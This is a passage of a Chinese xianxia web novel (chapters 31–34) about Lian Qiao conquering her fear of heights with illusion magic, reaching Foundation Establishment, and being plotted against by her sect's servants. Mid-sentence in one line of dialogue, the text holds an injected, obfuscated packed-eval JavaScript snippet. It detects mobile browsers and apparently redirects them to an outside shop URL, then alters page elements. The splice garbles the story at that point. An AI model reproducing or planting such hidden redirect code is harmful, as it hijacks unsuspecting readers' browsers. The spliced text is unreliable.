这处吊桥比较简陋,由铁锁与木架构成,连接着数道山峰,从乾元剑宗一直延续到冲虚学院。 连乔头抬起,又猛地低下。不行,太高了,看一眼腿就软。 她退后一步,“师兄们,还有别的路吗?” 邵吴兴道:“有是有,但是别的路太绕,过去要花两个时辰,时间上来不及,或者需要御剑飞行,但是我听说你不会御剑,这是最近且最方便的一条路。” 连乔默默叹了口气。要不试试? 那件事已经过了很久,或许现在她没那么恐高了呢。 想了想,连乔牙一咬,跟在邵吴兴后面,颤颤巍巍上了吊桥。 她抠紧了铁锁,尽量不去看脚下的悬崖与崇山峻岭……不行,太高了,一股酸软从双腿蔓延,她一步都走不了,整个人不由地往下坠。 背后有一股力量撑住她,连乔感觉到有人在提溜住自己,耳边传来迟星垂的声音,“我记得,以前你并不恐高?” 31.第 31 章 连乔一只手抠死在铁锁上,另一只手一把揪住迟星垂的衣袖,迟星垂下意识推开,但没有推开。 与此同时,他也感受到惶恐和不安,阴影笼罩在头,像盘桓不去的乌云。 这是连乔的本能反应。 像是溺毙在水中,没有人伸手,也没有人听到呼救,很多人就这样冷眼旁边,一直到她失去所有声音。 迟星垂垂眼望她,连乔双瞳已经开始失焦,手却死死抓紧他,像抓住最后一根救命稻草。 他伸手,修长的手指在她眼上轻轻划过,只在一瞬,连乔面前通天的高桥全部消失,紧接着面前出现一条山径,悬崖与沟壑全部被山林与河流所代替。 连乔几乎在一瞬间恢复了意识,她醒过来,放开迟星垂的手,撑着地重新站起来。 童元宝:“……额,发生什么了?” 邵吴兴也转过头,高大的少年望向连乔,目光有探究,有奇怪。 连乔擦一把脸上的汗,“抱歉,失态了。” 邵吴兴:“你恐高?” 他只听说过连翘天赋差修习不上心,所以一直不会御剑飞行——原来是恐高吗? 连乔也不掩饰,“对,以前发生一些不好的事,所以心里有阴影。” “不过,现在我好像找到了克服的办法。” 被迟星垂施了障眼法后,面前的高山与云层都散去,现在变成平地与树林,连乔心中舒了一口气,哎,原来障目术还能这样用? 连乔回答得落落大方,也不忸怩作态,邵吴兴对她的印象更好了。 “连姑娘,你是之前御剑时摔过吗?” “嗯对,不久前刚从高空中突然坠下来……不过让我恐高的不是这个原因,原因就说来话长了。” 邵吴兴转身过来看,连乔朝他友好一笑,她笑起来像这山涧里的微风,清冽又甜蜜。 少年又转回过去,她真的很有意思。 障目后,连乔在平路上大步流星,没有丝毫负担。 上一次在学院,白祺对她使用过一次障目术,让她找不见学院的门。不过那个障目术十分粗糙简陋,远不及此次所用的术法精细。 幻觉中的一草一木都十分真实,且随着她走动后位置的变化,连光线也会跟着变动。 如果御剑飞行中,她也使用这种方式,让自己看不见脚下的高空呢? 是不是就能克服身体的本能恐惧。 连乔问迟星垂,“师兄,你对这个术法很熟吗?”她想学这个。 连乔的情绪转换很快,方才还是吓到心脏骤停,此刻早已恢复过来,笑眯眯的,完全看不出来方才还是魂不守舍。 童元宝道,“今天如果师父来的话,会抽出一点时间教大家障目术。” 如果今天师父来? “难道他还会不来?” “这样看师父心情了,课是院长排的,师父并不想接。” 连乔不太明白这句话的意思,童元宝又道,“不过没关系,如果师父真的不在,我们也会教的,星垂的障目术十分精湛,不会比师父教的差。” 几个人很快穿过吊桥,再绕过一座山峰,便到冲虚学府。 迟星垂走在后面,连乔在他前面,她走得很快,衣角被早间的风吹动,来回飞扬。 他手指微微一动,远在剑宗之外的吴声收到一封信,信上有简讯。 “去子午谷,查一查近一年来,连翘是否有高空坠落的经历。” 冲虚学府的课程涉猎很广,除了剑术、御灵、占卜、静心、符箓和自救这几类必修课程外,其他均为选修。 虞南子虽主修剑术,但是却不教剑术。教习剑术的是云招摇的师父长淮子以及乾元剑宗外聘的老师们,长淮子教的主要是剑术,其他老师也各有所长。 北疆灵剑脉的乌崖刻,专教以剑气辨别对方身份,极东月见山的月无波师太,教授的是如何在剑气暴走的时候平息剑意。 虞南子则教授其他旁门类知识,但偶尔会在课上提及修剑。他是九州大陆资历极老的剑法大家,得他一句指点,修行能一日千里,也有许多已满修习的乾元剑宗弟子专为他而来,即使不能在他那里学习剑术,也能够在其他术法上得到指点。 比如今天,就有专门为他课而来的一大批狂热粉,连乔在人群中看到一个熟悉的面孔。 那人穿着一身紫袍,但他并不是乾元剑宗弟子,甚至可以说不是冲虚学府的学生。 这是那次在胧月秘境中那个小门派的年轻人,她还抢了他的东西。 到了学院后,迟星垂他们有自己的事,几个人分道扬镳。 连乔来的时候很早,但课堂里已经有许多人。她找了个位置坐下,年轻人正好坐在她旁边,他斟酌了一下凑过来,“你很面熟,姑娘。” “你对每一个漂亮的姑娘都这么说吗?” 一直很活跃的年轻人被这么一问,顿一下,他脸皮向来厚,这下反倒是害羞了。 “也不是,总觉得在哪里见过你。” “是见过面。”连乔点头,“在胧月客栈,你被乾元剑宗弟子抢了东西,又哭又闹,我帮你添油加醋,把事情闹得很大,后来乾元剑宗把东西还回来了。” “哦对对对。”年轻人举起一根手指,“我说呢,怎么觉得你好面熟,对,就是那次。” “你不是小门小派的弟子么,怎么来这里修习,你师父知道吗?” “啊,我师父啊。”年轻人坐正了,“我师父送我来的,他说我们老是被抢东西,怪气人的,叫我来好好修行,学好了本事回去将门派发扬光大,以后去抢别人的东西。” “……好师父。” 年轻人自豪一笑,“姑娘你叫什么名字?” “连乔。” “我叫卜献世。” 连乔:“……好名字。” 连乔静坐着,闭目养神,回想今日迟星垂施展障目术的手法,那日白祺也是如此,利用灵力为专人制造一个幻境,便能将周围的环境改变。 用这个来缓解恐高,治标不治本,但是已经是对现在的她来说,是修行御剑术最好的方式了。 连乔开始学习迟星垂的手法,再次睁眼后,脚下突然出现一叶小舟,周围人都消失了,变成高空,她环 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在民间,厌胜之术被认为可以操纵生死祸福,但是厌胜之术并非总能成功,如果施展巫术之人修为不到位,又或者是引来了别的因果,还可能会遭到更为严厉的反噬。 连乔认真做着笔记,不知道是不是她的错觉,总是觉得虞南子会有意无意地扫过她这边。 啧,果然长得帅的人脾气也好,虽然虞南子和长淮的辈分差不多大,但是他完全就不是那糟老头子的臭脾气,讲课时候语气温柔,脸上还总是挂着迷之微笑…… 原书说虞南子脾气古怪,看来这是误解。 说完厌胜术,虞南子又提及民间的其他邪术,奇门遁甲、祝由术、蛊术、续命术、招魂术,连乔都一一记下。 到最后,虞南子又有意无意地往连乔这里看了一眼,最后讲到障目术,又教所有人练习一遍。 讲完课程,刚好到下课时间,一分钟都没有耽误。 有了虞南子的指教,连乔的障目术进步迅猛,虽不能像迟星垂那样随意建造出一大片山林溪流,但是用来掩盖御剑飞行的高空视野是完全够了。 下午还有另外一个老师讲习占卜术,连乔去食堂用餐,又碰上童元宝一群人。 连乔问:“迟星垂呢?” “百丈河那边出了一些事,迟星垂和师父去那边了。”童元宝很热情地邀请连乔,“阿乔,来坐这里。” 百丈河的事?与妖族有关?连乔没再深究,坐在童元宝对面。 凌阿忽然出声,“梅承襄今日是不是没有来,他不会是怕了吧?” 童元宝:“……” 邵吴兴的眉头能夹死苍蝇,他不悦地望着对面,“哪壶不开提哪壶。” 连乔:“是哎,他不会是怕了吧,等会儿我在万机里面发一个寻人启事,问问有没有人见过他。” 凌阿:“现在发吧?要不你” 正说着,芥子镯中传来轻微的颤动,万机传来讯息,是一个不认识的人。 连乔放下筷子,“看来不用发了,我还有些事,先走了师兄。” 32.第 32 章 果不其然,连乔出了食堂,梅远山就在外面等着,他旁边还站了一位高个子妇人,那妇人配了双剑,应该就是梅承襄的母亲金珏。 原著中的梅承襄没什么亮点,但是他母亲却是一等一的剑圣,双剑破双山。在后来修真界大乱妖族大举进攻时,她更是不眠不休,镇守在百丈河之外。 但这位妇人面容和蔼,倒不像传闻中雷厉风行的样子。 她并不意外他们在这里等她,从昨晚开始,梅远山就一直在找她,只是她在云来城,并没有回应。 “连小谷主,我找你来,是有一件事要拜托你。” “我知道。” 梅远山先开了口,针对昨天的事,他简单做了解释,“连谷主,承襄他年纪尚小,脾性顽劣,所以做了这些不得当的举措,还请您见谅。” 他只字不提是什么事,但彼此都心知肚明。 “连姑娘,你在冲虚学府也有一段时间了,与承襄算是同窗,几人都是熟识,过于咄咄逼人也不好,不如就此一笔勾销,你们交个朋友,日后多个朋友多条路也好。”他笑眯眯望向连乔,“你觉得呢?” 凉亭里面有一张桌子,四方摆着石凳。连乔坐下来,靠在石桌上,没有答话。 她觉得有些好笑,真当她是病猫呢,一而再再而三地欺负到她头上,还让她什么也不计较。 原主想要拜入乾元剑宗,所以一直在忍气吞声,连乔可没有这种习惯。 连乔不再笑脸相迎,“梅峰主,您说梅承襄年岁尚小,说实话,他也不比我小,已经这么大了,自己做了事,是应该要承认自己的错误,不能老是让父母来善后,毕竟,也断奶了么不是?” 梅远山脸色冷下来,金珏脸色也并不和善,连乔当作没看到,“一切的始作俑者也不是我,是他自己答应承担这个后果的,你们不想让他承担,难道要替他来执行么?” 梅远山也不装了,他眉头拧起,这副模样和梅承襄如出一辙,怪不得梅承襄是这个脾性呢。 “那依姑娘看,就非得让承襄来做这等有伤风化的事吗?”梅远山眼中的怒火要喷出来,“姑娘,我们不是妖修,是要脸面的。” 连乔用舌头抵了抵腮帮子,仰着脸笑,“那这么说您儿子连妖修都不如,事情是他答应下来的,出尔反尔就算了,现在都不敢来见我,还让自己父母出面摆平呢?” “这叫……要脸面吗?”连乔看着他,没再说话,这比说话还叫叫人难堪。 “你……” 金珏压住梅远山的手,她蹬了他一眼,目光凶厉。这些年她经常驻在百丈河一带,一直是梅远山在处理剑宗这边的事。 这次刚回来,就给她这么一个大惊喜。 她自己的儿子,金珏当然知道他是什么德行,如果不是他自己先挑事,至于将自己置于这种进退两难的境地么? 金珏开了口,“连谷主,不好意思,这件事是我们不对,我向你道歉。” 连乔回道,“道歉我接受了。” “不过么,两位应该知道,我之前已经离开了冲虚学院,这次回来花了很大的代价,我和梅承襄没什么过节,也不知道他究竟是为什么,一而再再而三地为难我。” 金珏看了一眼梅远山,梅远山若有所思。 “连姑娘放心,我回去会好好查清他到底为什么这样,也定会好好教训他,日后他不会再对你有任何的为难。” “那就多谢夫人。”连乔笑了笑,“之前梅承襄在胧月秘境做的事,我可以不计较,但是这次么,绕着学堂……这件事是他自己答应的。我可是很无辜的,莫名其妙地被他一顿污蔑,他辱骂我,甚至还想将我逐出这学府。” 她放慢语气,“两位应该也听说了,我花了很大的价钱才来了学府,还差一点又被送出去,那这些东西,岂不是白花了吗……” 金珏了然一笑,“连姑娘放心,你的损失,我会赔给你。” 连乔笑了,“夫人,众人都说您不仅神勇,还十分智慧,今日一见,当真是名不虚传。” “连姑娘也和传闻中的不一样。”金珏道,“姑娘放心,你要的我会全部给你,我要的也请姑娘答应,这件事就到此为止,如何?” 连乔点头,“当然。” “阿珏……”梅远山想说什么,被金珏一个眼刀逼回去。 梅远山愤愤坐了回去。 “不知连姑娘到这学府,花了多少灵石?”梅远山道,“我可以从承襄的月钱中扣,弥补姑娘的损失。” “那恐怕不够扣的。”连乔站起来,伸了个懒腰,“不过也值得,再多的钱也买不来梅公子的脸面嘛。下午我会让我的人将账单送去府上的,今日之事到此为止,我也不会大肆宣扬,告辞了。” 处理完所有的事,连乔重新回到学堂,下午的课程结束,她离开冲虚学府,尝试御剑飞行去云来城。 障目术确实有用,虽然治标不治本,但起码能让她真正使用剑术,不再需要依赖别人。 御剑的消耗很大,很快连乔感到体力不支,“丛林”感受到主人的乏力,从高空慢慢降落,快到地面的时候,它猛地一个加速,连乔栽下来,摔了个屁股蹲。 她痛得龇牙咧嘴,艰难爬起来后搭在剑身上,重新御剑飞出去,过会儿又摔下来。 这次不是恐高,而是她灵力控制不稳,还不能顺利御剑,原主得剑后基本就没用过,他们之间没有磨合,这把剑脾气不怎么好,所以会趁她不注意将她丢下去。 先前摔下来的时候还在乾元剑宗内,这次就不知道是在哪个荒山野岭了。周围漆黑一片,伸手不见五指,山野间时不时传来野兽的嚎叫。 连乔拍拍“丛林”,“乖,现在带我出去。” 这把剑虽然认她做主,但却远不如三面狐听话,它身体一扭,在树林里来回穿梭。连乔一把抓住剑柄,将它归于鞘内。 祖宗哎,这里可不是招摇的地方,万一被什么山鬼猛兽发现了,她必然会死无全尸。 这里可不是什么能久待的地方。连乔续了一袋子灵石,咬着牙,重新站上剑,一路走一路摔,终于在半夜时,抵达云来城借酒楼。 南道正在顶楼喝酒,俯看一城的灯火。连翘花开得热闹,一簇又一簇,像一大片黄色的火把。 他一碗又一碗地往嘴里灌酒,像是喝不醉似的。 三面狐坐在它身边,眼珠子滴溜溜地转,一直望着天空,看是否有飞舟经过。 “别看了,她不一定会回来。”南道喃喃地,“她放鸽子多少次了。” 三面狐斜眼,又把眼珠子转回去。 有一艘飞舟经过,它探出脖子去看,可惜,连翘不在。 “其实,我希望她回来,也不希望她回来。”南道的目光也从飞舟上收回,“她不离开子午谷,一辈子平平静静地过着也挺好,她要是离开了,也许就不回来了。其实不回来也好,在子午谷被困一辈子,她也不喜欢。” 南道叹了一口气,“你明白吗?” 三面狐的脑袋转过来,又转过去。太复杂了,它听不懂。 “你当然不明白,你只是一只不聪明的灵兽,话也不会说,所以我才跟你说,来,干杯。” 三面狐将嘴张开,南道往里面灌了一瓶。 夜深了,连翘大概率是不来了。南道吐了一口气,收回目光,“走吧,我们回去。” “轰!” 三面狐转过脑袋,南道揉了揉眼睛,“方才……你看到什么掉下去了吗?” 三面狐一直在看着飞舟的方向,它摇摇头,南道起身,“喝多了出现幻觉了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13026308|132129||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” “等一下……” 一只黑手从楼底下伸出来,紧接着又伸出一只手,一个脑袋。 那脑袋咧嘴一笑,脸上全是污泥和灰土,衬得牙齿格外白,活像两排珍珠项链。 三面狐吓得往后一跳。 南道:“什么鬼东西?” 连乔连滚带爬翻过栏杆,咳出两口烟,“是我。” 她拍了拍身上的土,抓起桌上的酒壶,往嘴里倒了两口,喝完后擦一下脸,又在三面狐雪白的背上蹭了一下。 三面狐一点也不嫌弃,任她在自己身上擦手,擦到干净为止。 南道不可置信,“你这是……掉泥坑里了?” “掉了几次,不过很值得,现在我会御剑飞行了。”连乔摆摆手,“还有,明天我要换剑,这把剑我要折了它,丢剑炉重造。” 她换了个姿势,背部“咯”一声,“丛林”猛地一撞,连乔疼得“啊”了一声。 南道取出几颗药丸,倒出来放她手上,“这么辛苦就不用练了啊,你把自己搞成这样,何必呢。” 连乔没回答,她往嘴里塞了两颗药,“默非呢,今日的课还没开始呢。” “还学呢,你都伤成这样了。” “没关系,吃了药就好了。”连乔道,“我去换身衣服,你跟默非说等我一下,我很快过去。” 南道望着她的背影,轻微叹了一口气。 千万里之外,微光透过河面,雾气层层,给百丈河蒙上一层面纱。 迟星垂坐在河边,篝火照在他脸上,水珠顺着光洁的下颌往下滴,滚落在炭火上,“嗞”一声。 衣服也湿了,他换了一套,原来的那一套架在火上,被火烤得冒热气。 他扶着石头坐下,忽然又“砰”地一声摔在地上,手腕传来一阵刺痛,但很快又散去。 迟星垂吐了一口气,一张符纸在他指尖燃烧,像一只璀璨的蝴蝶,慢慢地化成灰烬。 虚空中传来吴息的声音,“公子。” “连翘又发生了什么?” “连谷主在练御剑飞行,摔了十一次了。”吴息道,“她的那把剑气焰嚣张,并不听话,每次都让她摔得很严重。” “她不会御剑意?” “不会。” 迟星垂方才过河,突然猛地下坠,整个人倒栽在河里,爬起来后又往后一翻,甚至喝了几口河里的水。 他呼了一口气,又问,“最近她可有异常,比如身体上,或者周边出现魔气?” “没有,连翘姑娘单纯很有活力,没什么意外。”吴息回道,“公子,上次您让我查的,连翘姑娘前些日是否从高处跌落过,我查了,没有。今日是她唯一一次摔伤。” “嗯。”迟星垂将火焰熄灭,“继续盯着。” 一直到指尖的火焰燃成灰烬。迟星垂漆黑的双瞳映照出篝火的光泽,他闭上了眼睛。 上一世,连翘在子午谷无声无息地入魔,没有人察觉……这一次到现在也没有异样,是不是,当时的问题出在子午谷? 他再睁眼,手里多了一块万机。他将有关御剑飞行的要点全部传送给对面,为防止她觉得奇怪,迟星垂将自己曾经学习障目术的术法口诀和重点全部搜罗起来,整理成册。 他很小的时候就已经会障目术,再重新翻找初学的资料未免要花一些精力,好在他记忆力好,现在这里也没有人打扰,很快便将需要的材料全部整理好。 连乔洗完澡出来,便看到万机传来一个陌生人讯息。 她的好友不多,这个人第一次见,正当她犹豫掐断讯息时,简讯上出现三个字。 迟星垂。 迟星垂一股脑将一堆书籍口令传过来,言简意赅,“认真学。” 连乔挑了挑眉。 33.第 33 章 “迟星垂?”连乔握住万机,将万机翻过来来回看。 是不是有什么监控类的东西? “你能看到我?” “没有。”迟星垂坐在无边的黑暗中,百丈河一代没有日夜交替,极昼和极夜轮回。 连乔奇怪了,“那你怎么知道我在学幻术。” “我猜的。” “猜的?” 迟星垂的瞳孔倒映出旷野的星海,他靠在石头上,湿透的长发垂在身后,“滴答滴答”往下滴着水。 “你学吗?” “学,当然学。”连乔也信他是猜的,之前她亲眼看到迟星垂施展障目术,被惊艳到,迟星垂估计也看在眼中。 他们现在身上有重心蛊,本就是一体同根,他帮她是应该的。 连乔很会为对方找理由。 迟星垂确实是个好学生,他整理的资料很齐全,收集的书册由简单到困难依次排开,所记录的笔记也有条理,重点之处被特意标记出来。 只是这重点笔记的笔墨非常新,像是新添上的。 经过迟星垂的指导,连乔对幻术的学习进步神速,在第二天就能利用障目来使自己看不见脚下的高空。 再过几天,她能够搭出简易的山水框架,一开始不如迟星垂搭建幻境那么精致,但是经过迟星垂的指导,慢慢地幻术能够随着她的心意变换流转,不再拘泥于形。 见山现山,见水现水。 连乔清楚地感知力量带给自己的变化,除却身体感受到无穷无尽的力量在充盈外,识海中也有细微的异动。 原主识海也有损,她尝试利用四肢连绵不断的力量去修补。灵力像丝线一样连绵不绝,一点又一点地填补,恢复……原来被冲击破开的裂缝,也在她不断的修补中慢慢由崎岖化为平滑。 一旦修复,她控制的能力又会加强,如此良性循环,不知不觉中,她居然直接迎来了筑基雷劫,成功筑基。 与此同时,子午谷之内,冬峰的雪洋洋洒洒地落下。正是人间冬季,四季峰上对应的时节峰开始外扩,连带着夏湖上,也笼罩了一层水汽。 子午谷后半面,连翘很少踏足的地方,一个中年男子站在一块水镜前,望着头顶上出现的阴霾,脸色阴晴不定。 面前的属下摇摇晃晃跪了一地。 瞳曜声音轻颤,“谷主,小谷主先是去了胧月秘境,后来就跟我们失去了联系,我们方才从极东之地回来,确实不知道她到底去了什么地方。” 中年男子点上熏香,轻手将落在桌面的香灰拂去。他低声轻笑一声,明明没有发火,瞳曜的头低得更狠。 “而且……”瞳曜声音迟钝了一瞬,“而且我们给小谷主喂了很多药,这么长时间药也一直没有停,按理来说,就算她停药一年,也很难会恢复原状,更别提突破修为了。” 他看了一眼水镜,上面刻录着连翘的生辰八字,下面浮出一行字,是连翘现在的修为造诣。 瞳曜微微抬头,玉非缘正在出神,明明他没有说话,空气中的窒息感更加凝重。 “说到底是……小谷主她还是有一定能力,所以……” “嗯?” “你觉得她有能力,会脱离你的掌控?”兰衣男人戏谑一笑,“我留你们也是白留了?” “谷主息怒,谷主饶命。”瞳曜连忙磕了两个头,身体伏得更低,几乎要趴在地面上。 “谷主,这次是意外,我们没想到小谷主突然硬气起来了,所以着了她的道。您放心,她这点能力根本不够看,我们很容易就会再次帮她破掉。” 玉非缘停下手,“是么?” 伏在瞳曜后面的黑衣人开了口,“小谷主也不过是刚筑基,很好控制,实在不行,我们直接废了她的灵骨,折断她的灵根,让她以后再也没机会……” 瞳曜心中大惊,还没来得及阻止那人说话,“砰”一声,一片血雾在他身后炸开,浓浓的血腥味充斥在空中。 原本要将熏香盖子盖上的男人皱了皱眉,“啧”了一声,重新掀起盖子,往里面倒了各种浓厚味道的熏香。 半晌他觉得还是不行,伸手一拂,雕花窗格打开,雪片混着冬日梅花的清冽卷进来,将血腥味冲淡不少。 周围的人再也不敢出声。 男人坐下,靠在椅背上,手上有一封信,他看完了信,冷笑一声。 瞳曜微微抬头,“谷主,是……是有小谷主的行踪吗?” 玉非缘合上信,“她在云来城。” “云来城?”瞳曜顿了一下,“那是……” “那是夫人的地方。”玉非缘忽然笑了,兴许是长期不见天日的原因,他的脸呈现出一种异于常人的白,面目青灰,明明是一张阴柔俊美的脸,却给人索命阎王的感觉。 瞳曜不出声,身体已经抑制不住地发抖。 提起夫人,玉非缘的心情像是很好,也不在乎连翘到底脱控到什么地步。他靠回到椅子上,望向水镜。 水镜下面的符号轻微颤动,像是又要变化,玉非缘道,“看样子,她还会继续长进下去呢。” “不会的。”瞳曜立刻回道,“谷主,属下现在就去云来城,我会一直守在小谷主身边。” 说完又补充道,“属下会拖住小谷主,不会再让她脱离子午谷的控制,当然也不会伤害到她,出现任何意外。” 玉非缘挥挥手,示意他出去,瞳曜这才松了一口气。 明明是冬季,雪山上的雪已经蔓延到周围来,温度很低,瞳曜还是全身被冷汗濡湿,他擦了一下额头上的汗,“属下告退,谷主万安。” 几个人连忙退下,出了门,一个黑衣人道,“我们现在就出发去云来城吗?” “先不急。”瞳曜伸手拦住他,又道,“你们先去我房中将控制小谷主的蓝色药丸带上。” 黑衣人顿了一下,“……谷主不是不让伤害小谷主么?” 瞳曜第一次觉得手下这批人这么蠢,“让你去拿就去拿,那么多废话做什么?” “是……是。” 瞳曜望向连翘曾经住的地方,她离开已经有一个月,但是阁楼一直有人打扫,并没有落上灰尘,连深秋过后,秋陵上的落叶也没有积在瓦片上。 “看来,要加重剂量了。”瞳曜眼中闪过一丝诡异的光,只要玩不死她,不对她的身体造成伤害,怎么折磨怎么刺激,那都没有关系…… 连乔是在冲虚学府到云来城的路上突破的,正横在一座大江之上,离借酒楼还有一段距离。 雷劫汹涌而迅速,但是她蓄力极强,也早就做好了渡劫的准备,这场雷劫对她没有任何威胁,很轻松便过了。 突破后,三面狐第一个冲过来,绕着她转了三圈,最后伏下身体,示意她坐上去。 连乔拍拍它的头,“我现在自己会飞了,不过现在我很虚弱,你别这么跳跃,飞慢一点。” 三面狐吐着舌头咧嘴,雪白一捧,和萨摩耶更像了。 “恭喜宿主突破成功。”系统又冷不防上线,或许是因为她突破成功的原因,灵力波动不强,这次系统顺畅多了,也没有颤音。 “宿主,您已成功完成第一阶段升级,本系统特意提醒,将会有意想不到的人和事突然出现,请您做好防范准备。” 这是它自第一次见面后,第一次说这么多的话。 连乔“哦”了一声,“意想不到的任何事,你能给点提醒吗?” 系统毫不犹豫地提示,“子午谷。” “呦,真提醒呢?”连乔以为根据这系统的尿性,它又会说话说到一半,然后失联呢。 “宿主,我的能量来自你的修为,你对灵力的控制越强,供给我的力量也会更多,我续航的时间也就更长。” “所以说,你之前一直消失,是因为我太弱?” “可以这么说……”系统顿了一下,“但是宿主,你很厉害,能够在 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连乔回到云来城,南道正在等她,见到她既意外也不意外,“够可以的啊。” 默非也在,他望了她一眼,语气仍旧是淡淡地,“恭喜。” “谢谢。” 南道见连乔又翻出冲虚学府带回来的作业,他伸过头,“你刚刚突破完,不休息一下吗,要不要去楼下泡个澡,好好睡一觉?” “你先帮我安排一下灵浴,我等会儿下去。”连乔将书本摊开,上面有她记下来的符箓画法,明天有符箓课要上,她现在突破了,能画出来的符就更多了。 课上她有没有挺懂的,只能回来请教默非。 默非望着她记得密密麻麻的书册,目光流转,连乔问,“你在想什么?” “你这样让我想起了一个人?” “哪个人?” “一个让我不是很喜欢的人,不过……这不重要。”默非道,“你要问什么?” “说话说一半不是你的风格,我倒是想知道我让你想起了谁?”连乔转转眼珠子,“你认识露……我娘?” “认识,但是你们并不像。” 连乔用手托着下巴,“那就是认识我爹,你觉得我像我爹?” 连乔一直都很好奇默非的来历,他的来历原主不清楚,南道也不清楚,好像是在某个时段突然出现在她面前,之后就守护在她周围,成为她的影卫。 南道是原主母亲留给她的人,默非……难道是她父亲的人? 默非并没有答话,但是他的表情看上去可不那么愉快,连乔没有等到他的回答,但是将一切尽收眼底。 哦吼,被她猜中了,默非是那位小白脸留给她的人。 不过默非这表情是什么意思,他好像很不高兴,难道过来当她影卫是被迫的? 啊,事情变得有意思起来了。她本来以为原主只是一个无脑的恶毒女配,原来在她身上,居然有这么多秘辛呢。 等不到默非的回答,连乔也不生气,她重新趴在桌上,“那我们开始上课吧,这是今天同元子教我们画的符,我本来只能画到三重,但是晚上筑基成功,我打算冲到五重。” 默非将手笼在袖子里,“你画,我看着。” 连乔一直忙到半夜,她伸了个懒腰,抱着经卷下到五楼。五楼有几个浴池,不对外开放,也是VIP那种,她推开自己单独的温汤池,将经卷放在一边,用音石播报,随后踢开衣服踏入温汤里,缓缓地舒了一口气。 舒服。 和当年她在瑞士小镇上度假泡温泉一样舒服。 这温汤里面加了许多药材,有荡涤浊气巩固灵根的作用,对于她这个刚经过筑基的人来说,非常有用。 她闭上眼,一边泡澡一边听书,再将万机打开,里面跳出来一则讯息,是迟星垂发的。 34.第 34 章 她昨日问迟星垂如何御剑,“丛林”性格刁钻,且十分跳脱,她之前在它那里吃了不少亏。 她是昨日半夜问的,那端迟星垂没有任何回音,应该有别的事。 讯息是白日发过来的,里面附带了御剑的术法、口诀、心得、书籍,全部被打包好,传送过来。 这次的东西比障目术多很多,迟星垂应该用了很长时间去整理,且整得和他这个人一样,有强迫症,条理非常清晰。 连乔接受了讯息,回他,“谢谢。” 迟星垂那一端回,“不用客气。” “告诉你一个好消息。”连乔从汤池里坐起来,她又道,“我筑基成功了。” “恭喜。” 连乔毫不犹豫回答,“你该恭喜你自己。” 迟星垂那端像是顿了一下,“怎么说?” “我这个人嘛,脾气不好,仇家一大波,想搞死我的人太多了。” 连乔又靠回到水里,“在默非找到解开方法我们之间的牵绊之前,你的命都是和我绑在一起的,我变厉害了,被仇杀的可能性就变小了,那么你也更安全些。” “你说……你是不是该恭喜你自己。” 迟星垂:“……” “我说得对吗?” “你对自己认知得很通透。” 连乔“哈哈”一笑,“那谢谢你夸我啊!” 迟星垂:“……”他这是在夸她吗? 连乔继续给他发讯息,“而且我过雷劫很轻松,没什么感觉,一睁眼就成为筑基了,作为你的搭档,你骄傲么?” 迟星垂沉默一番,差一点将“你要脸么”四个字说出口。 若不是他被雷劫劈得外焦里嫩,整个人从剑上坠下来在百丈河上端流到下游,他还真信了她的鬼话。 “那恭喜你。”他问,“你每次都是这么顺利么?” “可不得么,我天赋很高的。” 迟星垂在那端笑了一下,“是么?” “当然是,我以前不学无术是有原因的。”连乔想了想,没有继续往下说,“总之,这段时间多谢你啦。” 迟星垂结束万机的联讯,回想连乔说的那句——我以前不学无术是有原因的。 他让吴息调查过她,其实在多年前,连翘的行为还没有现在这么荒诞,不知从何时起,脾性大变,做事越发荒唐越发肆无忌惮。 前一世她——真正的连翘没有如愿入乾元剑宗,在子午谷浑浑噩噩渡过一辈子,后来又莫名其妙入魔,未必是正主主动作为,或许与子午谷有关。 一连几天,连乔仍旧过着冲虚学院和云来城来回跑的日子。筑基后就完全与之前练气期不同了,她体内有源源不断的力量,也能够自由去调动周围的灵气,六感十分灵敏,出神后甚至能感知周围飞尘的细小变化。 筑基后便可辟谷,不过连乔还是保持了吃饭的习惯,灵蔬瓜果也对修行有益,还可以满足口舌之欲。 上午修行结束,连乔伸了个懒腰,注意到身后的目光。 小姑娘坐在桌前,望着连乔发呆。 连乔认出来,这个是云招摇的好友,名叫白花惊。这小姑娘在原著中没有提到过,好像是天中峰峰主白望天的女儿,白望天修剑霸道,行为粗犷,但是女儿秀秀弱弱脾性温和,修为和造诣都不突出。 连乔将东西收进芥子镯中,等她起身要走,白花惊仍旧在看着她。 连乔停下脚步,转过头看她,“你……有什么事吗?” 白花惊这才回过神,她“啊”了一声,“不好意思啊。” 连乔看她没事,起身又要离开,白花惊却在后面出了声,“你筑基了吗?恭喜你。” “谢谢。”连乔和白花惊在冲虚学院一起上过课,对她的事多多少少也听说了一些。这个小姑娘修为很差,不同于自己是修行被限制住,她是天生的六感迟钝灵根不全。 不过……天生的灵根不全,居然能一眼看出她筑基了? 修为高的人能够很容易看破修为低的人,但是低阶往上看,却是要突破自身极限。白花惊是练气一期,能够跳脱三阶直接看破自己的真实修为,不得不说,还是……有点东西的。 连乔离开,白花惊伸长了脖子看她,目光里面充斥着羡慕与难过。 所有人都离开了,她一个人坐在教室里,望着窗外发呆。 好羡慕呀,她们都好厉害,能力强,又聪明,老师说什么都能听得懂。 只有自己一个人一直停留在原处,没有任何长进。 是不是以后只有她一个人会留在冲虚学院,永远也出不去呢? 白花惊心中生出浓浓的孤独感,天地中所有的声音都褪去,只剩下自己的空洞的回音。 她缓了缓,抛开脑海中的杂音,取出万机,找了一圈,最后连上林锦绣。 林锦绣可能在忙,并没有接通,白花惊地连上白祺。 白祺等人正在训练场历练,她看了一眼万机,皱了一下眉,毫不犹豫地将万机锁死。 “真服了她了。”白祺正在历练虚境中,她一剑斩杀一个傀儡,“她自己平时不忙,没什么事,就这样老是打扰别人,不知道别人有事在忙吗?” 林锦绣正在被一个傀儡逼到角落里,她心中焦急,没注意到万机传来的讯息。 云招摇正在斩断一根缠鬼藤,闻言转过身,“她可能是有什么事找你吧。” 正说着,白花惊接连给云招摇发了两条讯息。 